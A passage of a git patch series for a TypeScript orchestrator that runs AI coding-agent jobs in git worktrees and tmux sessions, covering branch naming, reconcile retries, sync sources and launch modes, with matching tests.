b/tests/lib/tmux.test.ts @@ -14,6 +14,7 @@ import { setPaneDiedHook, getPanePid, isPaneRunning, + isTmuxHealthy, } from '../../src/lib/tmux'; describe('tmux utilities', () => { @@ -184,9 +185,16 @@ describe('tmux utilities', () => { }); describe('isPaneRunning', () => { - it('should return false for invalid target', async () => { + it('should return false when tmux reports pane not found', async () => { const result = await isPaneRunning('nonexistent-session-xyz:0'); expect(result).toBe(false); }); }); + + describe('isTmuxHealthy', () => { + it('should return a boolean', async () => { + const result = await isTmuxHealthy(); + expect(typeof result).toBe('boolean'); + }); + }); }); From bc381078a9c9c0afa78907e5c7aef3ec6883a291 Mon Sep 17 00:00:00 2001 From: Nigel Bazzeghin Date: Fri, 13 Feb 2026 08:44:42 -0600 Subject: [PATCH 04/13] feat: plan jobs branch from integration HEAD for code visibility across dependencies --- src/lib/orchestrator.ts | 10 ++++- tests/lib/orchestrator.test.ts | 80 ++++++++++++++++++++++++++++++++++ 2 files changed, 89 insertions(+), 1 deletion(-) diff --git a/src/lib/orchestrator.ts b/src/lib/orchestrator.ts index 593214d..c2fe385 100644 --- a/src/lib/orchestrator.ts +++ b/src/lib/orchestrator.ts @@ -691,7 +691,15 @@ export class Orchestrator { commands: job.commands, }, ); - worktreePath = await createWorktree({ branch, postCreate }); + + // Plan jobs branch from a deterministic start point: + // - Jobs WITH dependencies → integration branch HEAD (sees upstream changes) + // - Root jobs (no deps) → baseCommit (consistent starting state) + const plan = await loadPlan(); + const hasDeps = job.dependsOn && job.dependsOn.length > 0; + const startPoint = plan ? (hasDeps ? plan.integrationBranch : plan.baseCommit) : undefined; + + worktreePath = await createWorktree({ branch, startPoint, postCreate }); const mcReportSuffix = `\n\nCRITICAL — STATUS REPORTING REQUIRED: You MUST call the mc_report tool at these points — this is NOT optional: diff --git a/tests/lib/orchestrator.test.ts b/tests/lib/orchestrator.test.ts index d4d90db..94ec221 100644 --- a/tests/lib/orchestrator.test.ts +++ b/tests/lib/orchestrator.test.ts @@ -700,6 +700,86 @@ describe('orchestrator', () => { { status: 'ready_to_merge' }, ); }); + + it('root plan jobs branch from baseCommit', async () => { + planState = makePlan({ + status: 'running', + baseCommit: 'abc123', + integrationBranch: 'mc/integration-plan-1', + jobs: [makeJob('root-job', { status: 'queued' })], + }); + + const orchestrator = new Orchestrator(monitor as any, { + defaultPlacement: 'session', + pollInterval: 10000, + idleThreshold: 300000, + worktreeBasePath: '/tmp', + omo: { enabled: false, defaultMode: 'vanilla' }, + } as any); + + await (orchestrator as any).reconcile(); + + expect(worktreeMod.createWorktree).toHaveBeenCalledWith( + expect.objectContaining({ startPoint: 'abc123' }), + ); + }); + + it('dependent plan jobs branch from integration branch HEAD', async () => { + planState = makePlan({ + status: 'running', + baseCommit: 'abc123', + integrationBranch: 'mc/integration-plan-1', + jobs: [ + makeJob('upstream', { status: 'merged', mergeOrder: 0 }), + makeJob('downstream', { status: 'queued', dependsOn: ['upstream'], mergeOrder: 1 }), + ], + }); + + const orchestrator = new Orchestrator(monitor as any, { + defaultPlacement: 'session', + pollInterval: 10000, + idleThreshold: 300000, + worktreeBasePath: '/tmp', + omo: { enabled: false, defaultMode: 'vanilla' }, + } as any); + + await (orchestrator as any).reconcile(); + + expect(worktreeMod.createWorktree).toHaveBeenCalledWith( + expect.objectContaining({ startPoint: 'mc/integration-plan-1' }), + ); + }); + + it('startPoint is passed through to createWorktree for plan jobs', async () => { + planState = makePlan({ + status: 'running', + baseCommit: 'def456', + integrationBranch: 'mc/integration-plan-1', + jobs: [ + makeJob('no-deps', { status: 'queued', mergeOrder: 0 }), + makeJob('has-deps', { status: 'merged', mergeOrder: 1 }), + makeJob('with-deps', { status: 'queued', dependsOn: ['has-deps'], mergeOrder: 2 }), + ], + }); + + const orchestrator = new Orchestrator(monitor as any, { + defaultPlacement: 'session', + pollInterval: 10000, + idleThreshold: 300000, + worktreeBasePath: '/tmp', + omo: { enabled: false, defaultMode: 'vanilla' }, + maxParallel: 3, + } as any); + + await (orchestrator as any).reconcile(); + + const calls = (worktreeMod.createWorktree as any).mock.calls; + const noDepCall = calls.find((c: any) => c[0].branch === 'mc/no-deps'); + const withDepCall = calls.find((c: any) => c[0].branch === 'mc/with-deps'); + + expect(noDepCall[0].startPoint).toBe('def456'); + expect(withDepCall[0].startPoint).toBe('mc/integration-plan-1'); + }); }); describe('orchestrator DAG helpers', () => { From d45b7ade0d6bbfc2745ff226f81f4ade8c8b5a8d Mon Sep 17 00:00:00 2001 From: Nigel Bazzeghin Date: Fri, 13 Feb 2026 08:45:00 -0600 Subject: [PATCH 05/13] fix: scope plan job branch names to prevent collisions with standalone jobs --- src/lib/orchestrator.ts | 3 +- tests/lib/orchestrator.test.ts | 176 +++++++++++++++++++++++++++++++++ 2 files changed, 178 insertions(+), 1 deletion(-) diff --git a/src/lib/orchestrator.ts b/src/lib/orchestrator.ts index c2fe385..7154acd 100644 --- a/src/lib/orchestrator.ts +++ b/src/lib/orchestrator.ts @@ -664,7 +664,8 @@ export class Orchestrator { } const placement = this.planPlacement ?? this.config.defaultPlacement ?? 'session'; - const branch = job.branch ?? `mc/${job.name}`; + const shortPlanId = planId ? planId.slice(0, 8) : ''; + const branch = job.branch ?? `mc/plan/${shortPlanId}/${job.name}`; const sanitizedName = job.name.replace(/[^a-zA-Z0-9_-]/g, '-'); const tmuxSessionName = `mc-${sanitizedName}`; const tmuxTarget = diff --git a/tests/lib/orchestrator.test.ts b/tests/lib/orchestrator.test.ts index 94ec221..7c32d16 100644 --- a/tests/lib/orchestrator.test.ts +++ b/tests/lib/orchestrator.test.ts @@ -9,6 +9,9 @@ import { Orchestrator, hasCircularDependency, topologicalSort } from '../../src/ import * as planStateMod from '../../src/lib/plan-state'; import * as tmuxMod from '../../src/lib/tmux'; import * as worktreeMod from '../../src/lib/worktree'; +import * as promptFileMod from '../../src/lib/prompt-file'; +import * as reportsMod from '../../src/lib/reports'; +import * as modelTrackerMod from '../../src/lib/model-tracker'; function clone(value: T): T { return JSON.parse(JSON.stringify(value)) as T; @@ -804,3 +807,176 @@ describe('orchestrator DAG helpers', () => { expect(sorted.map((job) => job.name)).toEqual(['a', 'b', 'c']); }); }); + +describe('plan-scoped branch naming', () => { + let planState: PlanSpec | null; + let runningJobs: Job[]; + let monitor: FakeMonitor; + + beforeEach(() => { + planState = null; + runningJobs = []; + monitor = new FakeMonitor(); + + spyOn(planStateMod, 'loadPlan').mockImplementation(async () => clone(planState)); + spyOn(planStateMod, 'savePlan').mockImplementation(async (plan: PlanSpec) => { + planState = clone(plan); + }); + spyOn(planStateMod, 'updatePlanJob').mockImplementation( + async (planId: string, jobName: string, updates: Partial) => { + if (!planState || planState.id !== planId) { + return; + } + planState.jobs = planState.jobs.map((job) => + job.name === jobName ? { ...job, ...updates } : job, + ); + }, + ); + spyOn(planStateMod, 'clearPlan').mockImplementation(async () => { + planState = null; + }); + spyOn(planStateMod, 'validateGhAuth').mockResolvedValue(true); + + spyOn(integrationMod, 'createIntegrationBranch').mockResolvedValue({ + branch: 'mc/integration-plan-1', + worktreePath: '/tmp/integration-plan-1', + }); + spyOn(integrationMod, 'deleteIntegrationBranch').mockResolvedValue(); + + spyOn(jobStateMod, 'getRunningJobs').mockImplementation(async () => clone(runningJobs)); + spyOn(jobStateMod, 'addJob').mockResolvedValue(); + spyOn(jobStateMod, 'updateJob').mockResolvedValue(); + spyOn(jobStateMod, 'removeJob').mockResolvedValue(); + spyOn(jobStateMod, 'loadJobState').mockImplementation(async () => { + const state: JobState = { + version: 2, + jobs: runningJobs, + updatedAt: new Date().toISOString(), + }; + return state; + }); + + spyOn(worktreeMod, 'createWorktree').mockResolvedValue('/tmp/wt/job-a'); + spyOn(worktreeMod, 'removeWorktree').mockResolvedValue(); + + spyOn(tmuxMod, 'createSession').mockResolvedValue(); + spyOn(tmuxMod, 'createWindow').mockResolvedValue(); + spyOn(tmuxMod, 'getCurrentSession').mockReturnValue('main'); + spyOn(tmuxMod, 'isInsideTmux').mockReturnValue(true); + spyOn(tmuxMod, 'isPaneRunning').mockResolvedValue(true); + spyOn(tmuxMod, 'killSession').mockResolvedValue(); + spyOn(tmuxMod, 'killWindow').mockResolvedValue(); + spyOn(tmuxMod, 'sendKeys').mockResolvedValue(); + spyOn(tmuxMod, 'setPaneDiedHook').mockResolvedValue(); + + spyOn(mergeTrainMod, 'checkMergeability').mockResolvedValue({ canMerge: true }); + + spyOn(promptFileMod, 'writePromptFile').mockResolvedValue('/tmp/wt/job-a/.mc-prompt'); + spyOn(promptFileMod, 'cleanupPromptFile').mockImplementation(() => {}); + spyOn(promptFileMod, 'writeLauncherScript').mockResolvedValue('/tmp/wt/job-a/.mc-launcher.sh'); + spyOn(promptFileMod, 'cleanupLauncherScript').mockImplementation(() => {}); + + spyOn(reportsMod, 'removeReport').mockResolvedValue(); + spyOn(modelTrackerMod, 'getCurrentModel').mockReturnValue('test-model'); + }); + + afterEach(() => { + mock.restore(); + }); + + it('plan job branches use scoped naming format mc/plan/{shortPlanId}/{jobName}', async () => { + planState = makePlan({ + id: 'a1b2c3d4-e5f6-7890-abcd-ef1234567890', + status: 'running', + jobs: [makeJob('api-endpoints', { status: 'queued' })], + }); + + const orchestrator = new Orchestrator(monitor as any, { + defaultPlacement: 'session', + pollInterval: 10000, + idleThreshold: 300000, + worktreeBasePath: '/tmp', + omo: { enabled: false, defaultMode: 'vanilla' }, + } as any); + + await (orchestrator as any).reconcile(); + + expect(worktreeMod.createWorktree).toHaveBeenCalledWith( + expect.objectContaining({ + branch: 'mc/plan/a1b2c3d4/api-endpoints', + }), + ); + }); + + it('short plan ID is correctly extracted (first 8 characters)', async () => { + planState = makePlan({ + id: 'deadbeef-1234-5678-9abc-def012345678', + status: 'running', + jobs: [makeJob('schema', { status: 'queued' })], + }); + + const orchestrator = new Orchestrator(monitor as any, { + defaultPlacement: 'session', + pollInterval: 10000, + idleThreshold: 300000, + worktreeBasePath: '/tmp', + omo: { enabled: false, defaultMode: 'vanilla' }, + } as any); + + await (orchestrator as any).reconcile(); + + expect(worktreeMod.createWorktree).toHaveBeenCalledWith( + expect.objectContaining({ + branch: 'mc/plan/deadbeef/schema', + }), + ); + }); + + it('explicit job.branch overrides plan-scoped default', async () => { + planState = makePlan({ + id: 'a1b2c3d4-e5f6-7890-abcd-ef1234567890', + status: 'running', + jobs: [makeJob('custom', { status: 'queued', branch: 'my-custom-branch' })], + }); + + const orchestrator = new Orchestrator(monitor as any, { + defaultPlacement: 'session', + pollInterval: 10000, + idleThreshold: 300000, + worktreeBasePath: '/tmp', + omo: { enabled: false, defaultMode: 'vanilla' }, + } as any); + + await (orchestrator as any).reconcile(); + + expect(worktreeMod.createWorktree).toHaveBeenCalledWith( + expect.objectContaining({ + branch: 'my-custom-branch', + }), + ); + }); + + it('tmux session name stays based on job name, not branch', async () => { + planState = makePlan({ + id: 'a1b2c3d4-e5f6-7890-abcd-ef1234567890', + status: 'running', + jobs: [makeJob('api-endpoints', { status: 'queued' })], + }); + + const orchestrator = new Orchestrator(monitor as any, { + defaultPlacement: 'session', + pollInterval: 10000, + idleThreshold: 300000, + worktreeBasePath: '/tmp', + omo: { enabled: false, defaultMode: 'vanilla' }, + } as any); + + await (orchestrator as any).reconcile(); + + expect(tmuxMod.createSession).toHaveBeenCalledWith( + expect.objectContaining({ + name: 'mc-api-endpoints', + }), + ); + }); +}); From 73c4c8533d5324e5bb9d4b7149aa5b90a7e0ee95 Mon Sep 17 00:00:00 2001 From: Nigel Bazzeghin Date: Fri, 13 Feb 2026 08:47:32 -0600 Subject: [PATCH 06/13] fix: update integration branching test to match plan-scoped branch naming --- tests/lib/orchestrator.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/lib/orchestrator.test.ts b/tests/lib/orchestrator.test.ts index 7c32d16..344d883 100644 --- a/tests/lib/orchestrator.test.ts +++ b/tests/lib/orchestrator.test.ts @@ -777,8 +777,8 @@ describe('orchestrator', () => { await (orchestrator as any).reconcile(); const calls = (worktreeMod.createWorktree as any).mock.calls; - const noDepCall = calls.find((c: any) => c[0].branch === 'mc/no-deps'); - const withDepCall = calls.find((c: any) => c[0].branch === 'mc/with-deps'); + const noDepCall = calls.find((c: any) => c[0].branch.includes('no-deps')); + const withDepCall = calls.find((c: any) => c[0].branch.includes('with-deps')); expect(noDepCall[0].startPoint).toBe('def456'); expect(withDepCall[0].startPoint).toBe('mc/integration-plan-1'); From fde05e8437a65d4c9da2a6d7d66f52f7e3d25bed Mon Sep 17 00:00:00 2001 From: Nigel Bazzeghin Date: Fri, 13 Feb 2026 08:50:44 -0600 Subject: [PATCH 07/13] fix: prevent reconciler from silently dropping state transitions --- src/lib/orchestrator.ts | 15 ++- tests/lib/orchestrator.test.ts | 161 +++++++++++++++++++++++++++++++++ 2 files changed, 173 insertions(+), 3 deletions(-) diff --git a/src/lib/orchestrator.ts b/src/lib/orchestrator.ts index 7154acd..8840484 100644 --- a/src/lib/orchestrator.ts +++ b/src/lib/orchestrator.ts @@ -159,6 +159,7 @@ export class Orchestrator { private reconcilerInterval: Timer | null = null; private isRunning = false; private isReconciling = false; + private reconcilePending = false; private activePlanId: string | null = null; private planModelSnapshot: string | undefined; private planPlacement: 'session' | 'window' | null = null; @@ -403,11 +404,22 @@ export class Orchestrator { private async reconcile(): Promise { if (this.isReconciling) { + this.reconcilePending = true; return; } this.isReconciling = true; try { + do { + this.reconcilePending = false; + await this._doReconcile(); + } while (this.reconcilePending); + } finally { + this.isReconciling = false; + } + } + + private async _doReconcile(): Promise { const plan = await loadPlan(); if (!plan || isTerminalPlanStatus(plan.status)) { @@ -652,9 +664,6 @@ export class Orchestrator { } await savePlan(latestPlan); } - } finally { - this.isReconciling = false; - } } private async launchJob(job: JobSpec): Promise { diff --git a/tests/lib/orchestrator.test.ts b/tests/lib/orchestrator.test.ts index 344d883..fdf9f6d 100644 --- a/tests/lib/orchestrator.test.ts +++ b/tests/lib/orchestrator.test.ts @@ -785,6 +785,167 @@ describe('orchestrator', () => { }); }); +describe('orchestrator reconcile pending (dirty re-reconcile)', () => { + let planState: PlanSpec | null; + let runningJobs: Job[]; + let monitor: FakeMonitor; + + beforeEach(() => { + planState = null; + runningJobs = []; + monitor = new FakeMonitor(); + + spyOn(planStateMod, 'loadPlan').mockImplementation(async () => clone(planState)); + spyOn(planStateMod, 'savePlan').mockImplementation(async (plan: PlanSpec) => { + planState = clone(plan); + }); + spyOn(planStateMod, 'updatePlanJob').mockImplementation( + async (planId: string, jobName: string, updates: Partial) => { + if (!planState || planState.id !== planId) { + return; + } + planState.jobs = planState.jobs.map((job) => + job.name === jobName ? { ...job, ...updates } : job, + ); + }, + ); + spyOn(planStateMod, 'clearPlan').mockImplementation(async () => { + planState = null; + }); + spyOn(planStateMod, 'validateGhAuth').mockResolvedValue(true); + + spyOn(integrationMod, 'createIntegrationBranch').mockResolvedValue({ + branch: 'mc/integration-plan-1', + worktreePath: '/tmp/integration-plan-1', + }); + spyOn(integrationMod, 'deleteIntegrationBranch').mockResolvedValue(); + + spyOn(jobStateMod, 'getRunningJobs').mockImplementation(async () => clone(runningJobs)); + spyOn(jobStateMod, 'addJob').mockResolvedValue(); + spyOn(jobStateMod, 'updateJob').mockResolvedValue(); + spyOn(jobStateMod, 'loadJobState').mockImplementation(async () => { + const state: JobState = { + version: 2, + jobs: runningJobs, + updatedAt: new Date().toISOString(), + }; + return state; + }); + + spyOn(worktreeMod, 'createWorktree').mockResolvedValue('/tmp/wt/job-a'); + spyOn(worktreeMod, 'removeWorktree').mockResolvedValue(); + + spyOn(tmuxMod, 'createSession').mockResolvedValue(); + spyOn(tmuxMod, 'createWindow').mockResolvedValue(); + spyOn(tmuxMod, 'getCurrentSession').mockReturnValue('main'); + spyOn(tmuxMod, 'isInsideTmux').mockReturnValue(true); + spyOn(tmuxMod, 'isPaneRunning').mockResolvedValue(true); + spyOn(tmuxMod, 'killSession').mockResolvedValue(); + spyOn(tmuxMod, 'killWindow').mockResolvedValue(); + spyOn(tmuxMod, 'sendKeys').mockResolvedValue(); + spyOn(tmuxMod, 'setPaneDiedHook').mockResolvedValue(); + + spyOn(mergeTrainMod, 'checkMergeability').mockResolvedValue({ canMerge: true }); + }); + + afterEach(() => { + mock.restore(); + }); + + it('reconcile runs normally when not already reconciling', async () => { + planState = makePlan({ + status: 'running', + jobs: [makeJob('job-a', { status: 'queued' })], + }); + + const orchestrator = new Orchestrator(monitor as any, { + defaultPlacement: 'session', + pollInterval: 10000, + idleThreshold: 300000, + worktreeBasePath: '/tmp', + omo: { enabled: false, defaultMode: 'vanilla' }, + maxParallel: 3, + } as any); + const launchSpy = spyOn(orchestrator as any, 'launchJob').mockResolvedValue(undefined); + + await (orchestrator as any).reconcile(); + + expect(launchSpy).toHaveBeenCalledTimes(1); + expect((orchestrator as any).isReconciling).toBe(false); + }); + + it('concurrent reconcile call sets pending flag instead of dropping', async () => { + const orchestrator = new Orchestrator(monitor as any, { + defaultPlacement: 'session', + pollInterval: 10000, + idleThreshold: 300000, + worktreeBasePath: '/tmp', + omo: { enabled: false, defaultMode: 'vanilla' }, + } as any); + + (orchestrator as any).isReconciling = true; + + await (orchestrator as any).reconcile(); + + expect((orchestrator as any).reconcilePending).toBe(true); + }); + + it('reconciler re-runs when pending flag is set during execution', async () => { + let doReconcileCallCount = 0; + + planState = makePlan({ + status: 'running', + jobs: [makeJob('job-a', { status: 'queued' })], + }); + + const orchestrator = new Orchestrator(monitor as any, { + defaultPlacement: 'session', + pollInterval: 10000, + idleThreshold: 300000, + worktreeBasePath: '/tmp', + omo: { enabled: false, defaultMode: 'vanilla' }, + maxParallel: 3, + } as any); + + spyOn(orchestrator as any, '_doReconcile').mockImplementation(async () => { + doReconcileCallCount++; + if (doReconcileCallCount === 1) { + (orchestrator as any).reconcilePending = true; + } + }); + + await (orchestrator as any).reconcile(); + + expect(doReconcileCallCount).toBe(2); + expect((orchestrator as any).isReconciling).toBe(false); + }); + + it('pending flag is cleared before each re-run cycle', async () => { + const pendingValues: boolean[] = []; + + const orchestrator = new Orchestrator(monitor as any, { + defaultPlacement: 'session', + pollInterval: 10000, + idleThreshold: 300000, + worktreeBasePath: '/tmp', + omo: { enabled: false, defaultMode: 'vanilla' }, + } as any); + + let callCount = 0; + spyOn(orchestrator as any, '_doReconcile').mockImplementation(async () => { + pendingValues.push((orchestrator as any).reconcilePending); + callCount++; + if (callCount === 1) { + (orchestrator as any).reconcilePending = true; + } + }); + + await (orchestrator as any).reconcile(); + + expect(pendingValues).toEqual([false, false]); + }); +}); + describe('orchestrator DAG helpers', () => { it('detects circular dependencies', () => { const jobs = [ From c6231f6ab9c968260380a6d3dcea1b3c329944f1 Mon Sep 17 00:00:00 2001 From: Nigel Bazzeghin Date: Fri, 13 Feb 2026 08:50:50 -0600 Subject: [PATCH 08/13] fix: sync against local base branch by default instead of upstream --- src/lib/providers/worktree-provider.ts | 2 +- src/lib/worktree.ts | 35 ++++++--------- src/tools/sync.ts | 13 ++++-- tests/tools/sync.test.ts | 61 ++++++++++++++++++++++++-- 4 files changed, 82 insertions(+), 29 deletions(-) diff --git a/src/lib/providers/worktree-provider.ts b/src/lib/providers/worktree-provider.ts index 2fc8ae1..d69ac52 100644 --- a/src/lib/providers/worktree-provider.ts +++ b/src/lib/providers/worktree-provider.ts @@ -57,5 +57,5 @@ export interface WorktreeProvider { * Sync a worktree with the base branch using the specified strategy. * Returns success status and any conflicts. */ - sync(path: string, strategy: 'rebase' | 'merge', baseBranch?: string): Promise; + sync(path: string, strategy: 'rebase' | 'merge', baseBranch?: string, source?: 'local' | 'origin'): Promise; } diff --git a/src/lib/worktree.ts b/src/lib/worktree.ts index 5c6502e..8d1b038 100644 --- a/src/lib/worktree.ts +++ b/src/lib/worktree.ts @@ -1,7 +1,7 @@ import { spawn } from 'bun'; import { join, resolve } from 'path'; import { getProjectId, getXdgDataDir } from './paths'; -import { gitCommand } from './git'; +import { gitCommand, getDefaultBranch } from './git'; import type { WorktreeInfo, SyncResult, @@ -222,30 +222,23 @@ export async function syncWorktree( path: string, strategy: 'rebase' | 'merge', baseBranch?: string, + source?: 'local' | 'origin', ): Promise { let targetBranch: string; if (baseBranch) { - targetBranch = `origin/${baseBranch}`; + const useOrigin = source === 'origin' || (!source); + targetBranch = useOrigin ? `origin/${baseBranch}` : baseBranch; } else { - const upstreamResult = await gitCommand( - ['-C', path, 'rev-parse', '--abbrev-ref', 'HEAD@{upstream}'], - ); - - if (upstreamResult.exitCode !== 0) { - const defaultBranchResult = await gitCommand([ - 'symbolic-ref', - '--short', - 'refs/remotes/origin/HEAD', - ]); - targetBranch = defaultBranchResult.stdout || 'main'; - } else { - targetBranch = upstreamResult.stdout; - } + const defaultBranch = await getDefaultBranch(); + const useOrigin = source === 'origin'; + targetBranch = useOrigin ? `origin/${defaultBranch}` : defaultBranch; } - const fetchResult = await gitCommand(['-C', path, 'fetch', 'origin']); - if (fetchResult.exitCode !== 0) { - return { success: false, conflicts: ['Failed to fetch from origin'] }; + if (source === 'origin' || (baseBranch && !source)) { + const fetchResult = await gitCommand(['-C', path, 'fetch', 'origin']); + if (fetchResult.exitCode !== 0) { + return { success: false, conflicts: ['Failed to fetch from origin'] }; + } } const syncResult = await gitCommand(['-C', path, strategy, targetBranch]); @@ -285,7 +278,7 @@ export class GitWorktreeProvider implements WorktreeProvider { return listWorktrees(); } - async sync(path: string, strategy: 'rebase' | 'merge', baseBranch?: string): Promise { - return syncWorktree(path, strategy, baseBranch); + async sync(path: string, strategy: 'rebase' | 'merge', baseBranch?: string, source?: 'local' | 'origin'): Promise { + return syncWorktree(path, strategy, baseBranch, source); } } diff --git a/src/tools/sync.ts b/src/tools/sync.ts index b70d924..41e23b9 100644 --- a/src/tools/sync.ts +++ b/src/tools/sync.ts @@ -10,6 +10,10 @@ export const mc_sync: ToolDefinition = tool({ .enum(['rebase', 'merge']) .optional() .describe('Sync strategy (default: rebase)'), + source: tool.schema + .enum(['local', 'origin']) + .optional() + .describe('Sync source: local base branch (default) or origin'), }, async execute(args) { // 1. Find job by name @@ -22,9 +26,12 @@ export const mc_sync: ToolDefinition = tool({ const syncStrategy = args.strategy || 'rebase'; // 3. Sync the worktree - const result = job.baseBranch - ? await syncWorktree(job.worktreePath, syncStrategy, job.baseBranch) - : await syncWorktree(job.worktreePath, syncStrategy); + const result = await syncWorktree( + job.worktreePath, + syncStrategy, + job.baseBranch, + args.source, + ); // 4. Format output if (result.success) { diff --git a/tests/tools/sync.test.ts b/tests/tools/sync.test.ts index 91d9535..dbb52e1 100644 --- a/tests/tools/sync.test.ts +++ b/tests/tools/sync.test.ts @@ -85,7 +85,9 @@ describe('mc_sync', () => { await mc_sync.execute({ name: 'test-job' }, mockContext); - expect(mockSyncWorktree).toHaveBeenCalledWith('/tmp/mc-worktrees/test-job', 'rebase'); + expect(mockSyncWorktree).toHaveBeenCalledWith( + '/tmp/mc-worktrees/test-job', 'rebase', undefined, undefined, + ); }); it('should use specified rebase strategy', async () => { @@ -93,7 +95,9 @@ describe('mc_sync', () => { await mc_sync.execute({ name: 'test-job', strategy: 'rebase' }, mockContext); - expect(mockSyncWorktree).toHaveBeenCalledWith('/tmp/mc-worktrees/test-job', 'rebase'); + expect(mockSyncWorktree).toHaveBeenCalledWith( + '/tmp/mc-worktrees/test-job', 'rebase', undefined, undefined, + ); }); it('should use specified merge strategy', async () => { @@ -101,7 +105,9 @@ describe('mc_sync', () => { await mc_sync.execute({ name: 'test-job', strategy: 'merge' }, mockContext); - expect(mockSyncWorktree).toHaveBeenCalledWith('/tmp/mc-worktrees/test-job', 'merge'); + expect(mockSyncWorktree).toHaveBeenCalledWith( + '/tmp/mc-worktrees/test-job', 'merge', undefined, undefined, + ); }); }); @@ -187,6 +193,53 @@ describe('mc_sync', () => { }); }); + describe('source parameter', () => { + beforeEach(() => { + mockGetJobByName.mockResolvedValue(createMockJob()); + mockSyncWorktree.mockResolvedValue({ success: true }); + }); + + it('should have optional arg: source', () => { + expect(mc_sync.args.source).toBeDefined(); + }); + + it('should pass source=local to syncWorktree', async () => { + await mc_sync.execute({ name: 'test-job', source: 'local' }, mockContext); + + expect(mockSyncWorktree).toHaveBeenCalledWith( + '/tmp/mc-worktrees/test-job', 'rebase', undefined, 'local', + ); + }); + + it('should pass source=origin to syncWorktree', async () => { + await mc_sync.execute({ name: 'test-job', source: 'origin' }, mockContext); + + expect(mockSyncWorktree).toHaveBeenCalledWith( + '/tmp/mc-worktrees/test-job', 'rebase', undefined, 'origin', + ); + }); + + it('should pass baseBranch from job along with source', async () => { + mockGetJobByName.mockResolvedValue(createMockJob({ baseBranch: 'develop' })); + + await mc_sync.execute({ name: 'test-job', source: 'local' }, mockContext); + + expect(mockSyncWorktree).toHaveBeenCalledWith( + '/tmp/mc-worktrees/test-job', 'rebase', 'develop', 'local', + ); + }); + + it('should pass baseBranch without source', async () => { + mockGetJobByName.mockResolvedValue(createMockJob({ baseBranch: 'develop' })); + + await mc_sync.execute({ name: 'test-job' }, mockContext); + + expect(mockSyncWorktree).toHaveBeenCalledWith( + '/tmp/mc-worktrees/test-job', 'rebase', 'develop', undefined, + ); + }); + }); + describe('different job names', () => { it('should work with different job names', async () => { mockGetJobByName.mockResolvedValue(createMockJob({ name: 'feature-branch' })); @@ -217,7 +270,7 @@ describe('mc_sync', () => { await mc_sync.execute({ name: 'test-job' }, mockContext); - expect(mockSyncWorktree).toHaveBeenCalledWith(worktreePath, 'rebase'); + expect(mockSyncWorktree).toHaveBeenCalledWith(worktreePath, 'rebase', undefined, undefined); }); }); }); From 4333015095fa27e1763ac186eb6a2c7f627d6874 Mon Sep 17 00:00:00 2001 From: Nigel Bazzeghin Date: Fri, 13 Feb 2026 09:02:03 -0600 Subject: [PATCH 09/13] fix: respect omo.defaultMode config when launching plan jobs --- src/lib/orchestrator.ts | 54 +++++++++++++++++++++++++++++++++++++++-- src/lib/plan-types.ts | 1 + src/lib/schemas.ts | 1 + src/tools/plan.ts | 5 ++++ 4 files changed, 59 insertions(+), 2 deletions(-) diff --git a/src/lib/orchestrator.ts b/src/lib/orchestrator.ts index 8840484..62c78f9 100644 --- a/src/lib/orchestrator.ts +++ b/src/lib/orchestrator.ts @@ -12,6 +12,8 @@ import { createWorktree, removeWorktree } from './worktree'; import { resolvePostCreateHook } from './worktree-setup'; import { writePromptFile, cleanupPromptFile, writeLauncherScript, cleanupLauncherScript } from './prompt-file'; import { getCurrentModel } from './model-tracker'; +import { detectOMO } from './omo'; +import { copyPlansToWorktree } from './plan-copier'; import { createSession, createWindow, @@ -21,6 +23,7 @@ import { isTmuxHealthy, killSession, killWindow, + sendKeys, setPaneDiedHook, } from './tmux'; @@ -675,6 +678,7 @@ export class Orchestrator { const placement = this.planPlacement ?? this.config.defaultPlacement ?? 'session'; const shortPlanId = planId ? planId.slice(0, 8) : ''; const branch = job.branch ?? `mc/plan/${shortPlanId}/${job.name}`; + const mode = job.mode ?? this.config.omo?.defaultMode ?? 'vanilla'; const sanitizedName = job.name.replace(/[^a-zA-Z0-9_-]/g, '-'); const tmuxSessionName = `mc-${sanitizedName}`; const tmuxTarget = @@ -711,6 +715,25 @@ export class Orchestrator { worktreePath = await createWorktree({ branch, startPoint, postCreate }); + if (mode !== 'vanilla') { + const omoStatus = await detectOMO(); + if (!omoStatus.detected) { + throw new Error( + `OMO mode "${mode}" requires Oh-My-OpenCode to be installed and detected`, + ); + } + + if (mode === 'plan' || mode === 'ralph' || mode === 'ulw') { + try { + const sourcePlansPath = './.sisyphus/plans'; + const targetPlansPath = `${worktreePath}/.sisyphus/plans`; + await copyPlansToWorktree(sourcePlansPath, targetPlansPath); + } catch { + // Non-fatal: plans might not exist + } + } + } + const mcReportSuffix = `\n\nCRITICAL — STATUS REPORTING REQUIRED: You MUST call the mc_report tool at these points — this is NOT optional: @@ -725,7 +748,12 @@ If your work needs human review before it can proceed: mc_report(status: "needs_ const autoCommitSuffix = (this.config.autoCommit !== false) ? `\n\nIMPORTANT: When you have completed ALL of your work, you MUST commit your changes before finishing. Stage all modified and new files, then create a commit with a conventional commit message (e.g. "feat: ...", "fix: ...", "docs: ...", "refactor: ...", "chore: ..."). Do NOT skip this step.` : ''; - const jobPrompt = job.prompt + mcReportSuffix + autoCommitSuffix; + let jobPrompt = job.prompt + mcReportSuffix + autoCommitSuffix; + if (mode === 'ralph') { + jobPrompt = `/ralph-loop ${jobPrompt}`; + } else if (mode === 'ulw') { + jobPrompt = `/ulw-loop ${jobPrompt}`; + } promptFilePath = await writePromptFile(worktreePath, jobPrompt); const model = this.planModelSnapshot ?? getCurrentModel(); const launcherPath = await writeLauncherScript(worktreePath, promptFilePath, model); @@ -750,6 +778,28 @@ If your work needs human review before it can proceed: mc_report(status: "needs_ cleanupPromptFile(promptFilePath); cleanupLauncherScript(worktreePath); + if (mode !== 'vanilla') { + try { + await new Promise((resolve) => setTimeout(resolve, 2000)); + switch (mode) { + case 'plan': + await sendKeys(tmuxTarget, '/start-work'); + await sendKeys(tmuxTarget, 'Enter'); + break; + case 'ralph': + await sendKeys(tmuxTarget, '/ralph-loop'); + await sendKeys(tmuxTarget, 'Enter'); + break; + case 'ulw': + await sendKeys(tmuxTarget, '/ulw-loop'); + await sendKeys(tmuxTarget, 'Enter'); + break; + } + } catch { + // Non-fatal: OMO command delivery is best-effort + } + } + const existingState = await loadJobState(); const staleJobs = existingState.jobs.filter( (j) => j.name === job.name && j.status !== 'running', @@ -769,7 +819,7 @@ If your work needs human review before it can proceed: mc_report(status: "needs_ placement, status: 'running', prompt: job.prompt, - mode: 'vanilla', + mode, createdAt: new Date().toISOString(), planId, }); diff --git 